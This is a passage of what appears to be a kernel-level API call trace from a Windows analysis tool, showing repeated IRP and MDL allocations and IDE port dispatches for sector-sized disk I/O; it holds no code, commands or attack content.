[0089.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.936] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.936] IdePortDispatch () returned 0x103 [0089.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.936] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.936] IdePortDispatch () returned 0x103 [0089.936] KeWaitForMutexObject () returned 0x0 [0089.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.936] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.936] IdePortDispatch () returned 0x103 [0089.937] KeWaitForMutexObject () returned 0x0 [0089.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.937] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.937] IdePortDispatch () returned 0x103 [0089.937] KeWaitForMutexObject () returned 0x0 [0089.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.937] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.937] IdePortDispatch () returned 0x103 [0089.937] KeWaitForMutexObject () returned 0x0 [0089.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.937] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.937] IdePortDispatch () returned 0x103 [0089.938] KeWaitForMutexObject () returned 0x0 [0089.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.938] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.938] IdePortDispatch () returned 0x103 [0089.938] KeWaitForMutexObject () returned 0x0 [0089.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.938] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.938] IdePortDispatch () returned 0x103 [0089.938] KeWaitForMutexObject () returned 0x0 [0089.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.938] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.938] IdePortDispatch () returned 0x103 [0089.939] KeWaitForMutexObject () returned 0x0 [0089.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.939] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.939] IdePortDispatch () returned 0x103 [0089.939] KeWaitForMutexObject () returned 0x0 [0089.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.939] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.939] IdePortDispatch () returned 0x103 [0089.939] KeWaitForMutexObject () returned 0x0 [0089.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.939] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.939] IdePortDispatch () returned 0x103 [0089.940] KeWaitForMutexObject () returned 0x0 [0089.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.940] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.940] IdePortDispatch () returned 0x103 [0089.940] KeWaitForMutexObject () returned 0x0 [0089.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.940] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.940] IdePortDispatch () returned 0x103 [0089.940] KeWaitForMutexObject () returned 0x0 [0089.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.940] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.940] IdePortDispatch () returned 0x103 [0089.940] KeWaitForMutexObject () returned 0x0 [0089.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.940] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.941] IdePortDispatch () returned 0x103 [0089.941] KeWaitForMutexObject () returned 0x0 [0089.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.941] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.941] IdePortDispatch () returned 0x103 [0089.941] KeWaitForMutexObject () returned 0x0 [0089.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.941] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.941] IdePortDispatch () returned 0x103 [0089.941] KeWaitForMutexObject () returned 0x0 [0089.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.941] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.941] IdePortDispatch () returned 0x103 [0089.942] KeWaitForMutexObject () returned 0x0 [0089.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.942] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.942] IdePortDispatch () returned 0x103 [0089.942] KeWaitForMutexObject () returned 0x0 [0089.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.942] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.942] IdePortDispatch () returned 0x103 [0089.942] KeWaitForMutexObject () returned 0x0 [0089.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.942] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.942] IdePortDispatch () returned 0x103 [0089.942] KeWaitForMutexObject () returned 0x0 [0089.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.943] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.943] IdePortDispatch () returned 0x103 [0089.943] KeWaitForMutexObject () returned 0x0 [0089.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.943] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.943] IdePortDispatch () returned 0x103 [0089.943] KeWaitForMutexObject () returned 0x0 [0089.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.943] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.943] IdePortDispatch () returned 0x103 [0089.943] KeWaitForMutexObject () returned 0x0 [0089.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.943] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.943] IdePortDispatch () returned 0x103 [0089.944] KeWaitForMutexObject () returned 0x0 [0089.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.944] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.944] IdePortDispatch () returned 0x103 [0089.944] KeWaitForMutexObject () returned 0x0 [0089.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.944] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.944] IdePortDispatch () returned 0x103 [0089.944] KeWaitForMutexObject () returned 0x0 [0089.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.944] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.944] IdePortDispatch () returned 0x103 [0089.944] KeWaitForMutexObject () returned 0x0 [0089.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.945] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.945] IdePortDispatch () returned 0x103 [0089.945] KeWaitForMutexObject () returned 0x0 [0089.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.945] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.945] IdePortDispatch () returned 0x103 [0089.945] KeWaitForMutexObject () returned 0x0 [0089.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.945] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.945] IdePortDispatch () returned 0x103 [0089.945] KeWaitForMutexObject () returned 0x0 [0089.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.945] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.945] IdePortDispatch () returned 0x103 [0089.946] KeWaitForMutexObject () returned 0x0 [0089.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.946] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.946] IdePortDispatch () returned 0x103 [0089.946] KeWaitForMutexObject () returned 0x0 [0089.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.946] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.946] IdePortDispatch () returned 0x103 [0089.946] KeWaitForMutexObject () returned 0x0 [0089.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.946] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.946] IdePortDispatch () returned 0x103 [0089.947] KeWaitForMutexObject () returned 0x0 [0089.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.947] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.947] IdePortDispatch () returned 0x103 [0089.947] KeWaitForMutexObject () returned 0x0 [0089.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.947] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.947] IdePortDispatch () returned 0x103 [0089.947] KeWaitForMutexObject () returned 0x0 [0089.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.947] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.947] IdePortDispatch () returned 0x103 [0089.947] KeWaitForMutexObject () returned 0x0 [0089.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.947] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.947] IdePortDispatch () returned 0x103 [0089.948] KeWaitForMutexObject () returned 0x0 [0089.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.948] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.948] IdePortDispatch () returned 0x103 [0089.948] KeWaitForMutexObject () returned 0x0 [0089.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.948] KeLeaveCriticalRegion () [0089.948] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.948] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004d8, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, 